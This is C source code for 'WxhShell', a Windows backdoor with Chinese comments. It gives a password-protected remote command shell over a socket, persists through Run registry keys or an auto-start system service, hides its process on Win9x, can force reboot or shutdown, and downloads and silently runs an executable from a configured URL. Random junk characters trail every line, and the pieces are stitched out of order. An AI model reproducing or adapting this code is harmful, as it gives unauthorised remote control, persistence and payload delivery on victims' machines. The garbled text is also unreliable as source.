  // 关机 #Q$9Eq8"[  
  case 'd': { }@a_x,O/x}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J qjb@'i  
    if(Boot(SHUTDOWN)) u]"oGJj1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tR0o6s@v/<  
    else { k\x>kJ}0  
    closesocket(wsh); oD~VK,.  
    ExitThread(0); 8BLtTpu  
    } obaJT"1  
    break; \f@PEiARG7  
    } 3x 'BMAA+  
  // 获取shell ]}KmT"vA  
  case 's': { mY;Y$fz;xL  
    CmdShell(wsh); <\2,7K{{+;  
    closesocket(wsh); e~nmIy  
    ExitThread(0); S37Bl5W  
    break; ~~:i+-[  
  } R}>Gk  
  // 退出 J/R=O>  
  case 'x': { J<u,Y= -~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^Zydy  
    CloseIt(wsh); [g_f`ZJ=  
    break; p4HX83y{  
    } gWgYZX  
  // 离开 Q[`_Y3@j  
  case 'q': { QfT&y &  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YG"P:d;s  
    closesocket(wsh); &xrm;pO  
    WSACleanup(); FeLWQn/aV6  
    exit(1); 9(ANhG  
    break; _%z)Y=Q  
        } MP;7 u%   
  } Dr,{V6^  
  } Fgt/A#`fz  
v[35C]gS  
  // 提示信息 u|O5ZV-cd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O2ety2}?f  
} 4N*Fq!k~  
  } l|U=(aA]h  
.5KRi6  
  return; osPX%k!yw  
} Xk(c2s&  
 V:F)m!   
// shell模块句柄 9'td}S  
int CmdShell(SOCKET sock) &hyr""NkAm  
{ Y -o*d@  
STARTUPINFO si; m:II<tv  
ZeroMemory(&si,sizeof(si)); 5JIa?i>B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pbR84g^p.S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $PHKI B(  
PROCESS_INFORMATION ProcessInfo; GkaIqBS  
char cmdline[]="cmd"; 2O`uzT$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SYeCz(H>d  
  return 0; s e2+X>@>  
} tjuW+5O  
< yE(p  
// 自身启动模式 >77 /e@  
int StartFromService(void) qW $IpuK  
{ lmQ!q>N  
typedef struct }!lLA4XRr  
{ >bEH&7+@_'  
  DWORD ExitStatus; @,pO%,E6  
  DWORD PebBaseAddress; DZRk K3  
  DWORD AffinityMask; @C~TD)K  
  DWORD BasePriority; Rfeiv  
  ULONG UniqueProcessId; FFK79e/5  
  ULONG InheritedFromUniqueProcessId; (s,Nq~O  
}   PROCESS_BASIC_INFORMATION; 3yZtyXRPn  
%Kd8ZNv  
PROCNTQSIP NtQueryInformationProcess; ?U iwr{Q  
`-qSvjX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?R;5ErZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #Z98D9Pv`o  
no)Spo'  
  HANDLE             hProcess; it D%sKo  
  PROCESS_BASIC_INFORMATION pbi; Apa)qRJd  
D0us<9q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]cLpLA"  
  if(NULL == hInst ) return 0; K:465r:  
m/cbRuPWgP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xXp\U'Ad~~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * j:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  &5O  
hy3[MOD$G  
  if (!NtQueryInformationProcess) return 0; Lk4&&5q  
rcOpOoU|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JrOp-ug  
  if(!hProcess) return 0; f(|qE(  
0{gvd"q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v>~ottQ|  
lk2F]@_kJH  
  CloseHandle(hProcess); vXq=f:y4  
PF1!aAvVb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :_p3nb[r  
if(hProcess==NULL) return 0; `a3q)}*Y  
%*oz~,i  
HMODULE hMod; E )09M%fe  
char procName[255]; cx1U6A+  
unsigned long cbNeeded; mhnD1}9,Ih  
`0=0IPVd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o3]B/  
&&M-5XD  
  CloseHandle(hProcess); >O9j},X  
kIiId8l  
if(strstr(procName,"services")) return 1; // 以服务启动 JUF[Y^C  
~i fq_Ag.  
  return 0; // 注册表启动 &!N5}N&  
} )[~ #j6  
\#m;L/D  
// 主模块 g4oFUyk{  
int StartWxhshell(LPSTR lpCmdLine) vD[@cm  
{ * jT r  
  SOCKET wsl; #CW]70H`  
BOOL val=TRUE; C ])Q#!D|  
  int port=0; e ! 6SJ7xC  
  struct sockaddr_in door; F,11 \j  
tURIDj%#p  
  if(wscfg.ws_autoins) Install(); ( X)$8y  
mE}``  
port=atoi(lpCmdLine); wI1[I  
^ B=x-G.  
if(port<=0) port=wscfg.ws_port; v"F.<Q  
dt',)i8D  
  WSADATA data; one^XYy1%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _B 8e 1an  
2 t< dCw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PxfeU2^{0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SL hki)|  
  door.sin_family = AF_INET; }2:bYpYQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /A9Mv%zjk  
  door.sin_port = htons(port); nbMH:UY,J  
Jk}L+X vv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P qagep d  
closesocket(wsl); +&4PGv53J  
return 1; l0U6eOx  
} h:z;b;  
-E2[PW4$  
  if(listen(wsl,2) == INVALID_SOCKET) { k {s#wJA  
closesocket(wsl); Av.(i2  
return 1; o!q9pt  
} it&c ,+8  
  Wxhshell(wsl); Wey-nsk  
  WSACleanup(); e&OMW ,7  
_-%ay  
return 0; 0s$g[Fw<.  
V*=cNj  
} yD#w @yG  
8MX/GF;F  
// 以NT服务方式启动 `RthX\Tof  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !V+5$TsS  
{ F}H!vh[  
DWORD   status = 0; AU^Wy|i5Q  
  DWORD   specificError = 0xfffffff; ~H@':Mms.h  
y z9`1R2c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KfG%#2\G_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @Sq=#f/=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7@fd[  
  serviceStatus.dwWin32ExitCode     = 0; 6N~ jt  
  serviceStatus.dwServiceSpecificExitCode = 0; ~_8Ve\Y^/  
  serviceStatus.dwCheckPoint       = 0; B 0 K2Uw  
  serviceStatus.dwWaitHint       = 0; at,Xad\j  
tPO.^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nd3]&occ  
  if (hServiceStatusHandle==0) return; x^+ C[%  
L]K*Do  
status = GetLastError(); O.& 6J/  
  if (status!=NO_ERROR) yZ0;\Tr*J  
{ @ RTQJ+ms  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~1|sf8  
    serviceStatus.dwCheckPoint       = 0; C;dA?Es>R  
    serviceStatus.dwWaitHint       = 0; sx*1D9s_  
    serviceStatus.dwWin32ExitCode     = status; g_0"T}09(  
    serviceStatus.dwServiceSpecificExitCode = specificError; tborRi)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n\,TW&3  
    return; wS``Q8K+dM  
  } iL|*g3`-f  
kgr:8 5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O3bK>9<K  
  serviceStatus.dwCheckPoint       = 0; sn5N9=\+T  
  serviceStatus.dwWaitHint       = 0; Ct}"o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hf:n!+,C  
} :Jhx4/10  
k`oXo%  
// 处理NT服务事件,比如:启动、停止 B|:{.U@ne  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m9#u. Q*  
{ U|{WtuR  
switch(fdwControl) vbDw2  
{ :&?#~NFH  
case SERVICE_CONTROL_STOP: D1o 8Wo  
  serviceStatus.dwWin32ExitCode = 0; ?z:xQ*#X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 82O`<Ci  
  serviceStatus.dwCheckPoint   = 0; ~gI%   
  serviceStatus.dwWaitHint     = 0; w2+RX-6Ie  
  { gvoK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *9PS2*n  
  } hXz"}X n  
  return; 9?,n+  
case SERVICE_CONTROL_PAUSE: $XyGCn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }Lb];hww1  
  break; Wv=L_E_  
case SERVICE_CONTROL_CONTINUE: ,Yi =s;E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I=(O,*+PQ  
  break; :6HMb^4  
case SERVICE_CONTROL_INTERROGATE: )&_{m K  
  break; zE<vFP-1v  
}; CvbY2_>Nh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ec=4L@V*  
} {E6W]Mno  
?ZDx9*f  
// 标准应用程序主函数 Qbv)(&i# ~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `Z%XA>  
{ *2:)Rf  
5VG@Q%  
// 获取操作系统版本 M\`6H8aLn  
OsIsNt=GetOsVer(); 6bHj<6>MX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .*Hv^_  
>W-e0kkH  
  // 从命令行安装 8$G$Rdn  
  if(strpbrk(lpCmdLine,"iI")) Install(); .-RWlUe;,  
]nfS vPb  
  // 下载执行文件 N"E\o,_  
if(wscfg.ws_downexe) { "H G:by  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e}K;5o=I  
  WinExec(wscfg.ws_filenam,SW_HIDE); P]6pPS  
} gvcT_'  
f^$\+H"W  
if(!OsIsNt) { \s~ W;m  
// 如果时win9x,隐藏进程并且设置为注册表启动 jU4Ir {f  
HideProc(); zcxG%? Q  
StartWxhshell(lpCmdLine); OVj,qL)  
} 8De `.!Gg  
else o,aI<5"  
  if(StartFromService()) e;!<3b  
  // 以服务方式启动 NoKYHN^*w  
  StartServiceCtrlDispatcher(DispatchTable); @kqy!5)K  
else =A!I-@]q<  
  // 普通方式启动 57[O)5u.+  
  StartWxhshell(lpCmdLine); JRodYXjE  
m|f|u3'z$  
return 0; \ [>Rt  
} {|rwIRe  
IL>g-  
Wq,UxMz  
*-P@|eg  
=========================================== NEGpf[$  
4tu2%Og)?  
>Zr/U!W*?  
\{UiGCK  
l;|1C[V  
0j_!)B  
" JT_#>',  
P AKh v.7  
#include <stdio.h> O]~p)E  
#include <string.h> x`o_&09;CG  
#include <windows.h> hOwVm;:  
#include <winsock2.h> SnXYq 7`t  
#include <winsvc.h> F[?t"d  
#include <urlmon.h> 7 'f>  
KRXe\Sx  
#pragma comment (lib, "Ws2_32.lib") g8qN+Gg  
#pragma comment (lib, "urlmon.lib") l7x%G@1#~W  
qY0Ic5wCY  
#define MAX_USER   100 // 最大客户端连接数 eA+6-'qN  
#define BUF_SOCK   200 // sock buffer 0&mz'xra  
#define KEY_BUFF   255 // 输入 buffer Zmp ^!|=X!  
V'6%G:?0a  
#define REBOOT     0   // 重启 G7),!Qol  
#define SHUTDOWN   1   // 关机 5k\61(*s  
kwyvd`J8  
#define DEF_PORT   5000 // 监听端口 (JF\%Yj/  
7vHU49DV  
#define REG_LEN     16   // 注册表键长度 54'z"S:W  
#define SVC_LEN     80   // NT服务名长度 3gGF?0o  
Fe/*U4xU  
// 从dll定义API IzL yn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TnKe"TA|9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zd5fr c$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zCco/]h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zd~Z`B} &  
9xWeVlfQ  
// wxhshell配置信息 n=yFw\w'  
struct WSCFG { `Y(/G"]  
  int ws_port;         // 监听端口 ChBZGuO:  
  char ws_passstr[REG_LEN]; // 口令 t=yM}#r$  
  int ws_autoins;       // 安装标记, 1=yes 0=no qQ|v~^  
  char ws_regname[REG_LEN]; // 注册表键名 ey Cg *  
  char ws_svcname[REG_LEN]; // 服务名 F5*Xx g}N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rq\.RR](  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )fC^h=Qp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f-23.]`v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4~Z\tP|Q.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qvab >U`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ (X~Z  
Tlf G"HzZ%  
}; 43(+3$VM7  
#nu?b?X'  
// default Wxhshell configuration fYH%vr)  
struct WSCFG wscfg={DEF_PORT, fo5!d@Nv  
    "xuhuanlingzhe", ikofJl]9  
    1, z}pdcQl#  
    "Wxhshell", ?5+=  
    "Wxhshell", J[<:-$E  
            "WxhShell Service", \Mi y+<8$  
    "Wrsky Windows CmdShell Service", 9 s>JdAw?  
    "Please Input Your Password: ", XLzHm&;  
  1, ~A6QX8a  
  "http://www.wrsky.com/wxhshell.exe", M~wJe@bc  
  "Wxhshell.exe"  o,X ?  
    }; 8-po|  
Ao=.=0os  
// 消息定义模块 XRaq\a`=:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SFh6'v'1N@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4wK!)Pwq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q,+d\-+  
char *msg_ws_ext="\n\rExit."; tTP"*Bb  
char *msg_ws_end="\n\rQuit."; j4Lf6aUOX  
char *msg_ws_boot="\n\rReboot..."; v+Ooihxl  
char *msg_ws_poff="\n\rShutdown..."; {-09,Q4[&  
char *msg_ws_down="\n\rSave to "; -: dUD1  
^[uA^  
char *msg_ws_err="\n\rErr!"; bBn4m:  
char *msg_ws_ok="\n\rOK!"; VE6 V^6SL  
f3[gA Y  
char ExeFile[MAX_PATH]; d.3-@^P  
int nUser = 0; X@2[!%nm  
HANDLE handles[MAX_USER]; aI{Ehbf=  
int OsIsNt; oMM`7wJw  
HSE9-c =  
SERVICE_STATUS       serviceStatus; g VplBF7{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m?V4r#t  
 bF0 y`  
// 函数声明 4%0eX]  
int Install(void); #ih(I7prH  
int Uninstall(void); T'"aStt6  
int DownloadFile(char *sURL, SOCKET wsh); )xy1 DA  
int Boot(int flag); yF0\$%H>$  
void HideProc(void); nm_]2z O  
int GetOsVer(void); $0~H~ -  
int Wxhshell(SOCKET wsl); s=h  
void TalkWithClient(void *cs); '%vb&a!.6  
int CmdShell(SOCKET sock); 5IE2&V  
int StartFromService(void); tXV9+AJ  
int StartWxhshell(LPSTR lpCmdLine); d<r=f"  
!ZJ" lm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q;3.pRw(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N0,wT6.  
*/;[ -9  
// 数据结构和表定义 F#*vJb)  
SERVICE_TABLE_ENTRY DispatchTable[] = *$1M= $  
{ u^8:/~8K  
{wscfg.ws_svcname, NTServiceMain}, Y!N *J  
{NULL, NULL} M{<cqxY  
}; BqC!78Y/e  
w]J9Kv1)-  
// 自我安装 GsA/pXx  
int Install(void) XCc /\  
{ jeXv)}  
  char svExeFile[MAX_PATH]; K[!OfP  
  HKEY key; SV0E7qX  
  strcpy(svExeFile,ExeFile); 71_{FL8  
!o1{. V9q  
// 如果是win9x系统,修改注册表设为自启动 =UE/GTbl  
if(!OsIsNt) {  G?AZ%Yx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9~2}hXm;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (A|Gb2X  
  RegCloseKey(key); @KfFt R-;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =ZR9zL=h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Yg36J4[  
  RegCloseKey(key); 7=(r k  
  return 0; *$~H=4t  
    } N}HQvlLkF9  
  } $w4%JBZr  
} Cp` [0v~0  
else { Vf9PHHH|   
,\laqH\ 1%  
// 如果是NT以上系统,安装为系统服务 \x P$m|Y3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SR7$m<0t*  
if (schSCManager!=0) 0*^ J;QGE  
{ i`U:uwW`  
  SC_HANDLE schService = CreateService 3z';Zwz &X  
  ( +LuGjDn0  
  schSCManager, EhL 8rR  
  wscfg.ws_svcname, KJ M :-z@  
  wscfg.ws_svcdisp, ufyqfID  
  SERVICE_ALL_ACCESS, eM Ym@~4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y /$`vgqs  
  SERVICE_AUTO_START, =@q 9,H  
  SERVICE_ERROR_NORMAL, q<Gn@xc'  
  svExeFile, v6(Yz[  
  NULL, 5G"LuA  
  NULL, +RW P;rk  
  NULL, HI)MBrj;r  
  NULL, 4+2XPaI m  
  NULL {\3k(NdEX  
  ); /I&Hq7SW`  
  if (schService!=0) Yt*2/jw^  
  { ,WSK '  
  CloseServiceHandle(schService); r!:W-Y%&#  
  CloseServiceHandle(schSCManager); booth}M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 41Bp^R}^/  
  strcat(svExeFile,wscfg.ws_svcname); s3@sX_2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t>.1,'zb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [!1z; /  
  RegCloseKey(key); 29]-s Utqv  
  return 0; 3 r4QB  
    } k]?M^jrm  
  } )NAC9:8!  
  CloseServiceHandle(schSCManager); GG%X1c8K  
} {uH 4j4)2  
} `2`Nu:r^  
m}/LMY  
return 1; B w?Kb@  
} 9DcUx-   
3yg22y &l  
// 自我卸载 O92a*)  
int Uninstall(void) jm9J-%?  
{ ] AkHNgW  
  HKEY key; ]4~- z3=y  
W _j`'WN/  
if(!OsIsNt) { Z)}q=NjA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7oaa)  
  RegDeleteValue(key,wscfg.ws_regname); !_0kn6 S5  
  RegCloseKey(key); LoZ8;VU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y*nzOD$  
  RegDeleteValue(key,wscfg.ws_regname); 4bXAA9"  
  RegCloseKey(key); tTrUVuZ  
  return 0; B~z P!^m  
  } oEPO0O  
} HgL*/d  
} $T7hY$2Q l  
else { bU'{U0lM  
{.F``2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D~_|`D5WK  
if (schSCManager!=0) `s74g0h  
{ kB_uU !G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ] =ar&1}J  
  if (schService!=0) .C=&` ;Vs  
  { 3&i8C,u]/O  
  if(DeleteService(schService)!=0) { kcT?<r  
  CloseServiceHandle(schService); \%\b* OO  
  CloseServiceHandle(schSCManager); S~^0 _?  
  return 0; &X0/7)*"v  
  } :(tSL{FO  
  CloseServiceHandle(schService); q@ !p  
  } DF D5">g@  
  CloseServiceHandle(schSCManager); +SCUS]  
} Kp,}7%hDw!  
} #k? Rl  
_Y F~DU  
return 1; ^pz3L'4n  
} T8Sgu6:*R  
,])@?TJb@  
// 从指定url下载文件 J]uYXsC  
int DownloadFile(char *sURL, SOCKET wsh) 9D74/3b*  
{ ^aVoH/q*C  
  HRESULT hr; 'G z>X :  
char seps[]= "/"; %-"?  
char *token; AMqu}G  
char *file; : sIZ+3  
char myURL[MAX_PATH]; G#V5E)Dx  
char myFILE[MAX_PATH]; w`XwW#!}@$  
Yo0%5 noz  
strcpy(myURL,sURL); 7Cf%v`B4D  
  token=strtok(myURL,seps); FI@2K M  
  while(token!=NULL) ^9T6Ix{=  
  { EFeGxM  
    file=token; !NuYx9L?L  
  token=strtok(NULL,seps); -x )(2|  
  } pGw|T~e%  
TnET1$@qr*  
GetCurrentDirectory(MAX_PATH,myFILE); YLk; ^?  
strcat(myFILE, "\\"); Mi'Q5m  
strcat(myFILE, file); lh`inAt)"  
  send(wsh,myFILE,strlen(myFILE),0); A(AyLxB47*  
send(wsh,"...",3,0); n0:+D R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zrfp4SlZZ  
  if(hr==S_OK) U|odm58s  
return 0; m'1NZV%#  
else #|^7{TN   
return 1; 5r/QPJ<h  
6suB!XF;  
} Z5~dU{XsT  
r$ue1bH}|  
// 系统电源模块 SxXh N  
int Boot(int flag) }{/4sll  
{ ~h-G  
  HANDLE hToken; =0xuH>WY}w  
  TOKEN_PRIVILEGES tkp; b!hxx Z  
6$wS7Cu  
  if(OsIsNt) { ko!38BH`/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qS{lay  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,u QLXF2  
    tkp.PrivilegeCount = 1; *|AnL}GJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6Nx TW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dtjaQsJM^  
if(flag==REBOOT) { xD#PM |I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lD2>`s 5  
  return 0; @Zd+XWFw  
} }4xxge?r  
else { KmV#% d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]OY6.m  
  return 0; yAEOn/.~  
} g=; rM8W  
  } j-$aa;  
  else { HCQv"i}-  
if(flag==REBOOT) { Rf2/[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `h5HA-ud  
  return 0; `g% ]z@'+?  
} !$h%$se  
else { 18w[T=7)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zx25H"5j  
  return 0; )Y~q6D K  
} S6}_Z  
} S}e*~^1J  
Wf_aEW&n  
return 1; ,: w~-   
} [K13Jy+  
O89<IXk  
// win9x进程隐藏模块 g2C-)*'{yh  
void HideProc(void) `ZN@L<I6  
{ =Z/'|;Vd_x  
+YT/od1t7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6N.mSnp  
  if ( hKernel != NULL ) 0]8+rWp|Nz  
  { FVG|5'V^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3leg,q d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^w2n  
    FreeLibrary(hKernel); Pb} &c  
  } `(;d+fof  
A4';((OXy  
return; V]H<:UE  
} 23+6u{   
mUr@w*kq|p  
// 获取操作系统版本 I>/`W  
int GetOsVer(void) 3D\.S j%  
{ ^'QcP5Fv  
  OSVERSIONINFO winfo; oD{V_/pdx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V2w[0^ L  
  GetVersionEx(&winfo); {z@vSQ=)=P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G+[>or}  
  return 1; aC3\Hs  
  else avO+1<`4B  
  return 0; ABhza|  
} vo Q,K9  
oBqP^uT>a|  
// 客户端句柄模块 Fh v)  
int Wxhshell(SOCKET wsl) :;0?;dpO  
{ Vu`dEv L?  
  SOCKET wsh; tP!sOvQ:  
  struct sockaddr_in client; j K[VEhs  
  DWORD myID; a-!"m  
1I3u~J3]/  
  while(nUser<MAX_USER) l0D.7>aj  
{ a0)+=*$  
  int nSize=sizeof(client); 1b3Lan_2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +Q-~~v7,  
  if(wsh==INVALID_SOCKET) return 1; (~Zg\(5#  
EUuMSDp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '4Z%{.;  
if(handles[nUser]==0) f+xGf6V  
  closesocket(wsh); e@]cI/j  
else oE)c8rE  
  nUser++; oK5(,8 (4  
  } 8GlH)J+kq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rz=]KeZu  
|w~zh6~  
  return 0; rLL;NTN+/  
} ]v_xEH}T  
MW*}+ PCY  
// 关闭 socket SVq7qc9K?  
void CloseIt(SOCKET wsh) m}uF&|5  
{ l'16B^  
closesocket(wsh); =j;o, J:(  
nUser--; /u:Sn=SPd  
ExitThread(0); 3}twWnQZJ  
} 1}ZBj%z4l  
/4~RlXf@  
// 客户端请求句柄 pNiqb+^nz  
void TalkWithClient(void *cs) 7KM!\"PM  
{ ? !~au0  
=:"@YD^a4  
  SOCKET wsh=(SOCKET)cs; &u=FLp5  
  char pwd[SVC_LEN]; mz\ m^g3  
  char cmd[KEY_BUFF]; >MQW{^  
char chr[1]; -IX;r1UD  
int i,j; MeplM$9  
{{EQM +  
  while (nUser < MAX_USER) { q6_1`Ew  
#UWQ (+F  
if(wscfg.ws_passstr) { 6@F Z,e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3"L$*toRA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Be]o2N;J  
  //ZeroMemory(pwd,KEY_BUFF); GtGToI  
      i=0; :cC`wX$  
  while(i<SVC_LEN) { {Z?!*Ow  
z0Zl'  
  // 设置超时 ,JZ@qmQ,  
  fd_set FdRead; 0]HK (,/h  
  struct timeval TimeOut; =u;q98r  
  FD_ZERO(&FdRead); sg6cq_\  
  FD_SET(wsh,&FdRead); ,RT\&Ze5  
  TimeOut.tv_sec=8; IB;y8e,  
  TimeOut.tv_usec=0; 5~[ Fh2+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7L<oWAq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^9{ 2  
KPO((G0&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R,^FJ  
  pwd=chr[0]; ,*lK4 ?v  
  if(chr[0]==0xd || chr[0]==0xa) { %xk]y&jv  
  pwd=0; M]_vb,=1  
  break; \Fj4Gy?MW  
  } [FCNW0NV  
  i++; Bf* F ^  
    } SfR!q4b=  
pEaH^(I*  
  // 如果是非法用户,关闭 socket s~63JDy"E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5rcno.~QO  
} 92tb`'  
[R:O'AP}@}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ix/uV)]k`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ftH 0aI  
CNN?8/u!@  
while(1) { kU^@R<Fo  
:iWV:0)P  
  ZeroMemory(cmd,KEY_BUFF); hOC,Eo  
vcSS+  
      // 自动支持客户端 telnet标准   TX+t   
  j=0; 9,>M/_8>  
  while(j<KEY_BUFF) { }}xR?+4A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -OW$  
  cmd[j]=chr[0]; ~,guw7F  
  if(chr[0]==0xa || chr[0]==0xd) { "yz@LV1  
  cmd[j]=0;  9q5[W=|  
  break; .s9Iymz  
  } SMy&K[hJ[  
  j++; LpiLk| 2i  
    } AP~!YwLW  
pKJ[e@E^  
  // 下载文件 SwL\=nq+~  
  if(strstr(cmd,"http://")) { EXi+pm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q_K1L  
  if(DownloadFile(cmd,wsh)) 2>r.[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @6Mo_4)O  
  else r\1*N.O3|O  
